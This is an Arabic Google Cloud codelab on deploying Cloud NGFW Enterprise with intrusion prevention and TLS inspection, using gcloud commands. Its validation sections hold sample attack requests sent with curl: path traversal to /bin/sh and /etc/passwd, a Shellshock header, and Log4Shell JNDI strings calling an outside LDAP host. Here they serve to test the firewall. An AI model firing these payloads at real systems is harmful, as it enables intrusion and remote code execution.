1. مقدمة
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل تتضمّن إمكانات حماية متقدّمة وتقسيمًا دقيقًا وتغطية شاملة لحماية أعباء العمل في Google Cloud من الهجمات الداخلية والخارجية.
يوفّر Cloud NGFW المزايا التالية:
- خدمة جدار الحماية الموزَّع: يوفّر Cloud NGFW إجراء تنفيذ مستندًا إلى المضيف وموزَّعًا بالكامل على كل عبء عمل لتفعيل بنية أمان "نهج الثقة المعدومة".
- الإعداد والنشر المبسّطان: ينفّذ Cloud NGFW سياسات جدار الحماية الهرمية والشبكية التي يمكن إرفاقها بعقدة التسلسل الهرمي للموارد. توفّر هذه السياسات تجربة جدار حماية متّسقة في التسلسل الهرمي لموارد Google Cloud.
- التحكّم الدقيق والتجزئة الدقيقة: يوفّر الجمع بين سياسات جدار الحماية والعلامات التي تخضع لإدارة الهوية وإمكانية الوصول (IAM) تحكّمًا دقيقًا في حركة البيانات بين الشمال والجنوب والشرق والغرب، وصولاً إلى جهاز افتراضي واحد، على مستوى شبكات السحابة الإلكترونية الافتراضية الخاصة (VPC) والمؤسسات.
يتوفّر Cloud NGFW في المستويات التالية:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
تضيف خدمة Cloud NGFW Enterprise خدمة منع التسلّل (IPS) وإمكانات اختيارية متقدّمة لبيئة اختبار البرامج الضارة (WildFire)، وهي خدمات فحص الطبقة 7، إلى بنية Google Cloud Firewall الموزّعة. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بالفحص الدقيق وتحليل الملفات لزيارات البيانات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS).
يمكنك الآن نشر عمليات فحص موثوقة لـ "جدار الحماية من الجيل التالي" (NGFW) في الطبقة السابعة باستخدام عناصر تحكّم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.
لتفعيل عنصر التحكّم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع الاختراق (IPS) ووضع الحماية المتقدّم الاختياري من البرامج الضارة، عليك تنفيذ المهام التالية:
- أنشئ مجموعة من نقاط نهاية جدار الحماية في منطقة معيّنة تديرها Google Cloud (مع تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" اختياريًا).
- يمكنك إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) اختياريًا.
- يمكنك إنشاء إعدادات ثقة، إذا أردت.
- اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
- أدخِل تغييرات بسيطة على سياسات وقواعد جدار الحماية الحالية لتحديد ملفات تعريف الأمان لمنع التهديدات وملفات تعريف الأمان الاختيارية المتقدّمة لوضع الحماية من البرامج الضارة لمسارات الزيارات المختلفة.
سياسات جدار حماية الشبكة
تعمل سياسة جدار حماية الشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية الشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن أن ترتبط بكل شبكة VPC سياسة واحدة لجدار حماية الشبكة. تتيح سياسات جدار حماية الشبكة استخدام العلامات المُدارة من "إدارة الهوية وإمكانية الوصول" (أو العلامات فقط) في قواعد جدار الحماية، والتي تحلّ محلّ علامات الشبكة الحالية ويمكن استخدامها لتوفير هوية لأعباء العمل.
تؤدي مشاركة سياسة جدار حماية الشبكة على مستوى الشبكات والتكامل مع العلامات المُدارة من "إدارة الهوية وإمكانية الوصول" (IAM) إلى تبسيط عملية ضبط جدران الحماية وإدارتها بشكل كبير.
مع طرح سياسة جدار حماية الشبكة، تتكوّن سياسات جدار حماية Google Cloud الآن من المكوّنات التالية:
- سياسة جدار الحماية الهرمية
- قواعد جدار حماية VPC
- سياسة جدار حماية بين الشبكات ( عالمية وإقليمية)
يتم تطبيق سياسات جدار الحماية الهرمية على عُقد المؤسسة والمجلدات ضمن التسلسل الهرمي للموارد، بينما يتم تطبيق قواعد جدار حماية VPC وسياسات جدار حماية الشبكة على مستوى VPC. يتمثّل أحد الاختلافات الكبيرة بين قواعد جدار حماية شبكة VPC وسياسات جدار حماية الشبكة في أنّه لا يمكن تطبيق قواعد جدار حماية شبكة VPC إلا على شبكة VPC واحدة، بينما يمكن ربط سياسات جدار حماية الشبكة بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمَّعة.
أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:
- قاعدة خروج يكون الإجراء فيها هو السماح، والوجهة هي 0.0.0.0/0
- قاعدة دخول يكون الإجراء فيها هو الرفض، والمصدر هو 0.0.0.0/0
يتم عرض تسلسل إجراءات التنفيذ في المخطّط البياني التالي تلقائيًا:

يُرجى العِلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار حماية الشبكة العالمية. يمكن للعملاء تحديد ترتيب التنفيذ في أي وقت باستخدام أمر gcloud.
العلامات
العلامات الجديدة المدمجة في قواعد سياسة جدار حماية الشبكة هي موارد أزواج المفتاح/القيمة المحدّدة على مستوى المؤسسة أو المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عناصر تحكّم في الوصول إلى "إدارة الهوية وإمكانية الوصول" تحدّد المستخدمين الذين يمكنهم تنفيذ إجراءات معيّنة على العلامة. على سبيل المثال، تتيح أذونات إدارة الهوية وإمكانية الوصول (IAM) تحديد المستخدمين المسموح لهم بتعيين قيم للعلامات والمستخدمين المسموح لهم بإرفاق العلامات بالموارد. إذا كانت قاعدة جدار حماية الشبكة تشير إلى علامة، يجب تطبيقها على مورد لتنفيذها.
تلتزم العلامات بنموذج موارد الاكتساب في Google Cloud، ما يعني أنّه يتم نقل العلامات وقيمها من الأعلى إلى الأسفل في التسلسل الهرمي من العلامات الرئيسية. ونتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها من خلال مجلدات ومشاريع أخرى في جميع أنحاء التسلسل الهرمي للموارد. يُرجى زيارة هذه الصفحة للاطّلاع على تفاصيل حول العلامات وقيود الوصول.
يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي سلاسل يمكن إضافتها إلى أجهزة Compute Engine الافتراضية، وهي مرتبطة بالجهاز وتختفي عند إيقاف تشغيله. قد تتضمّن قواعد جدار حماية VPC علامات شبكة، ولكن بما أنّها لا تُعتبر موارد سحابية، فهي لا تخضع لعناصر التحكّم في الوصول ضمن "إدارة الهوية وإمكانية الوصول".
يُرجى العِلم أنّ "العلامات" و"العلامات التي تخضع لإدارة الهوية وإمكانية الوصول" تُستخدَم بالتبادل في هذا المستند.
ما ستنشئه
يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا والقدرة على إنشاء شبكة VPC وإدارة عدد من موارد الشبكة والأمان. وسيوضّح كيف يمكن لـ Cloud NGFW Enterprise توفير وظائف "نظام منع التسلّل" (IPS) و"وضع الحماية المتقدّم من البرامج الضارة" (WildFire) من خلال:
- فحص تدفقات الإنترنت الواردة من الشمال باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
- فحص مسارات البيانات داخل شبكة VPC [بين الشرق والغرب] باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
- [اختياري] ضبط والتحقّق من صحة إرسال الملفات إلى وضع الحماية المتقدّم من البرامج الضارة والتحليل الجنائي للتهديدات غير المعروفة المستندة إلى الملفات عبر حركة البيانات التي يتم فحصها باستخدام بروتوكول أمان طبقة النقل (TLS)
سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات مطابقة Cloud Firewall، بما في ذلك المجموعة الخماسية (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول ومنفذ المصدر ومنفذ الوجهة) والعلامات.

ستكون الحالة النهائية لقاعدة سياسة جدار حماية الشبكة مشابهة للجدول أدناه:
الأولوية | الاتجاه | Target | المصدر | الوجهة | الإجراء | النوع |
100 | حركة بيانات واردة | Server_Tag | Health-Checks | أي | السماح | Essentials |
200 | حركة بيانات واردة | Client_Tag, Server_Tag | شراء داخل التطبيق | أي | السماح | Essentials |
800 | حركة بيانات واردة | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | فحص L7 | للمؤسسات |
850 | حركة بيانات صادرة | Client_Tag | أي | 10.0.0.0/24 | السماح | Essentials |
900 | حركة بيانات صادرة | Client_Tag | أي | أي | فحص L7 | للمؤسسات |
ما ستتعلّمه
- كيفية إنشاء سياسة جدار حماية الشبكة
- كيفية إنشاء العلامات واستخدامها مع سياسة جدار حماية الشبكة
- كيفية إعداد Cloud NGFW Enterprise واستخدامه مع فحص بروتوكول أمان طبقة النقل (TLS)
- [اختياري] كيفية ضبط ميزة "وضع الحماية الآمن المتقدّم من البرامج الضارة" (WildFire) والتحقّق منها للتهديدات غير المعروفة المستندة إلى الملفات
المتطلبات
- مشروع Google Cloud
- معرفة كيفية نشر المثيلات وضبط مكوّنات الشبكة
- معرفة بإعدادات جدار حماية VPC
2. قبل البدء
إنشاء المتغيّرات أو تعديلها
يستخدم هذا الدرس التطبيقي حول الترميز متغيّرات $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.
في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3- تفعيل واجهات برمجة التطبيقات
فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك ذلك:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. إنشاء نقطة نهاية في Cloud NGFW Enterprise
بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.
أنشئ ملف الأمان ومجموعة ملفات الأمان:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
الناتج المتوقَّع:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
تأكَّد من إنشاء الموارد بنجاح:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
أنشئ نقطة نهاية Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
نفِّذ الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (CREATING)، أو أنّها نشطة إذا استخدمت --no-async.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب البرنامج المستخدَم):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
الناتج المتوقَّع:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
تستغرق عملية الإنشاء حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بالتوازي.
5- الإعداد الأساسي
شبكة VPC والشبكة الفرعية
شبكة VPC والشبكة الفرعية
أنشئ شبكة VPC والشبكة الفرعية:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
أنشئ Cloud Router وبوابة Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
إطارات مبعثَرة
أنشئ مثيلات العميل وخادم الويب:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
العلامات على مستوى المشروع
امنح إذن tagAdmin للمستخدم إذا لزم الأمر:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
أنشِئ مفتاح العلامة وقيمها على مستوى المشروع:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
اربط العلامات بالمثيلات:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
سياسة جدار حماية بين الشبكات العالمية
أنشئ سياسة جدار حماية بين الشبكات العالمية:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
أنشئ قواعد Cloud Firewall Essential المطلوبة للسماح بمرور الزيارات من نطاقات التحقّق من السلامة والخادم الوكيل المستند إلى الهوية:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
أنشِئ قواعد "جدار حماية السحابة الإلكترونية" المطلوبة للسماح بالزيارات الواردة من الشرق إلى الغرب أو داخل الشبكة الفرعية من النطاقات المحدّدة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise مع فحص بروتوكول أمان طبقة النقل (TLS)):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
اربط سياسة جدار الحماية في السحابة الإلكترونية بشبكة VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Cloud Firewall Endpoint Association
حدِّد متغيّرات البيئة إذا لم تكن قد حدّدتها بعد و/أو فضّلت نهج النص البرمجي.
تأكَّد من اكتمال إنشاء نقطة نهاية Cloud Firewall بنجاح. لا تتابع إلا بعد ظهور الحالة على أنّها نشطة (أثناء الإنشاء، تكون الحالة المتوقّعة قيد الإنشاء):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب البرنامج المستخدَم):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
الناتج المتوقَّع:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
اربط نقطة نهاية Cloud Firewall بشبكة VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
تستغرق عملية الربط حوالي 10 دقائق. لا تنتقل إلى قسم TLS إلا بعد ظهور الحالة على أنّها نشطة (أثناء الإنشاء، تكون الحالة المتوقّعة هي قيد الإنشاء):
gcloud network-security firewall-endpoint-associations list
الناتج المتوقّع عند الاكتمال:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
الناتج المتوقَّع:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. إعداد مراجع بروتوكول أمان طبقة النقل (TLS)
أنشئ مجمّع هيئات إصدار الشهادات. سيتم استخدام هذا المورد لتخزين شهادة CA الجذر التي ننشئها لـ NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
أنشِئ هيئة إصدار الشهادات الجذر. هذه هي شهادة CA التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
إذا ظهرت لك الرسالة أدناه، أجب بـ y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب شهادات NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
اضبط أذونات "إدارة الهوية وإمكانية الوصول" لحساب الخدمة:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
أنشئ ملف YAML لسياسة TLS. سيحتوي هذا الملف على معلومات حول الموارد المحددة:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
استيراد سياسة فحص بروتوكول أمان طبقة النقل (TLS):
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
عدِّل ارتباط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
احصل على شهادة CA وأضِفها إلى مخزن CA الخاص بالعميل:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
انقل شهادة CA إلى العميل:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
اتصِل بالجهاز الافتراضي عبر بروتوكول SSH، وانقِل شهادة CA إلى /usr/local/share/ca-certificates وعدِّل متجر CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
الخروج والعودة إلى Cloud Shell
عملية توقيع شهادة الخادم:
في Cloud Shell، ثبِّت مكتبة التشفير Pyca باستخدام الأمر pip:
pip install --user "cryptography>=2.2.0"
للسماح لـ Google Cloud SDK باستخدام مكتبة التشفير Pyca، عليك تفعيل حِزم المواقع الإلكترونية.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
إنشاء شهادة الخادم:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
سيؤدي ذلك إلى إنشاء ملف cert.pem وkey.pem في Cloud Shell. بعد ذلك، انقل الشهادة والمفتاح إلى الخادم.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
استخدِم بروتوكول SSH للوصول إلى الخادم من أجل تعديل تفاصيل الشهادة في Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
انقل الشهادة والمفتاح إلى مجلد محدّد:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
عدِّل إعدادات طبقة المقابس الآمنة لاستخدام شهادة موقَّعة:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
أعِد تشغيل Apache:
sudo systemctl restart apache2
تحقَّق من حالة Apache:
sudo systemctl status apache2
يجب أن يكون نشطًا (قيد التشغيل).
اخرج من الجهاز الافتراضي وواصِل العمل على Cloud Shell.
8. التحقّق من صحة الاتصال بين الشمال والجنوب والشرق والغرب
نفِّذ الأوامر أدناه في Cloud Shell ولاحظ عناوين IP المستهدَفة التي سيتم استخدامها:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
افتح علامة تبويب جديدة وابدأ اتصال SSH بالجهاز الافتراضي للعميل من خلال IAP (ستحتاج إلى تحديد المتغيّرات في علامة التبويب الجديدة):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
نفِّذ الأوامر أدناه وسجِّل عناوين IP المستهدَفة التي سيتم استخدامها. أنشئ المتغيّرات التي تستبدل القيم داخل الأقواس بعناوين IP التي تم تدوينها من الخطوة السابقة وتأكَّد من إمكانية الوصول إليها:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
استخدِم أداة Curl لعنوان IP الخاص وتأكَّد من إمكانية الوصول إليه:
curl https://$target_privateip --max-time 2
النتائج المتوقّعة لطلب curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
أرسِل عيّنات من الهجمات إلى عنوان IP. يجب أن يستجيب خادم الويب لجميع الطلبات، ما يؤكد عدم وجود فحص أو منع في الطبقة السابعة:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
نموذج النتائج المتوقعة (عنوان IP خاص):
400 404 400 200 200
وبالمثل، يمكنك إرسال طلبات إلى وجهة على الإنترنت:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
نموذج النتائج المتوقعة (وجهة الإنترنت):
400 404 400 403 403
اخرج من وحدة طرفية الجهاز الافتراضي وعُد إلى Cloud Shell.
9. إنشاء قواعد جدار الحماية وتعديلها لفحص بروتوكول أمان طبقة النقل (TLS)
في السابق، قمنا بتهيئة قاعدة جدار حماية للسماح بحركة المرور الواردة إلى الخادم الخاص بنا من الشبكة الفرعية الداخلية. سنعدّل الآن قواعد الدخول الحالية ونضبط الإجراء على apply_security_profile_group. سيؤدي ذلك إلى تفعيل فحص E/W L7 باستخدام بروتوكول أمان طبقة النقل (TLS):
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
أنشئ قاعدة جديدة لفحص حركة البيانات الصادرة من الطبقة السابعة باستخدام بروتوكول أمان طبقة النقل (TLS).
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
أنشئ قاعدة جديدة للسماح بحركة البيانات الصادرة (EGRESS) من الشرق إلى الغرب (E/W) لمنع الفحص المزدوج.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. التحقّق من صحة فحص بروتوكول أمان طبقة النقل (TLS) الصادر
ارجع إلى علامة تبويب الجهاز الافتراضي للعميل أو اتصِل مرة أخرى:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
أرسِل الهجمات النموذجية إلى وجهة على الإنترنت:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية:
